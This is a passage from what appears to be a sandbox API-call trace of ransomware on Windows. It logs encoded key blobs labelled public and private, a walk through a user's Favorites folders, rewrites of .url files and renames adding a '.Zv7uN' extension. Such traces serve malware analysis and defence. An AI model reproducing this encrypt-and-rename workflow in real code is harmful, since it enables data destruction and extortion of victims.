Oww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.183] GetCurrentThreadId () returned 0xa30 [0125.183] GetCurrentThreadId () returned 0xa30 [0125.183] GetCurrentThreadId () returned 0xa30 [0125.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.184] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.184] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.184] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x86 [0125.184] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.184] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x86, lpOverlapped=0x0) returned 1 [0125.187] CloseHandle (hObject=0x1ec) returned 1 [0125.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.189] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x86, lpOverlapped=0x0) returned 1 [0125.191] CloseHandle (hObject=0x1ec) returned 1 [0125.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.zv7un")) returned 1 [0125.192] GetCurrentThreadId () returned 0xa30 [0125.192] GetCurrentThreadId () returned 0xa30 [0125.192] GetCurrentThreadId () returned 0xa30 [0125.193] GetCurrentThreadId () returned 0xa30 [0125.193] GetCurrentThreadId () returned 0xa30 [0125.193] GetCurrentThreadId () returned 0xa30 [0125.193] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0125.193] GetLastError () returned 0x12 [0125.193] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.193] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f649700, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f649700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.193] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.193] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.193] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f649700, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f649700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.194] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f5d72e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url.Zv7uN", cAlternateFileName="IEADD-~1.ZV7")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.194] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f5fd440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url.Zv7uN", cAlternateFileName="IESITE~1.ZV7")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.194] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f5fd440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.194] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f6235a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url.Zv7uN", cAlternateFileName="MICROS~2.ZV7")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.194] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f649700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 1 [0125.194] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.194] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.195] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f649700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 0 [0125.195] GetLastError () returned 0x12 [0125.195] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.267] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0125.267] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.267] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.271] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.271] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0125.271] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.271] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0125.272] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x80) returned 1 [0125.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, 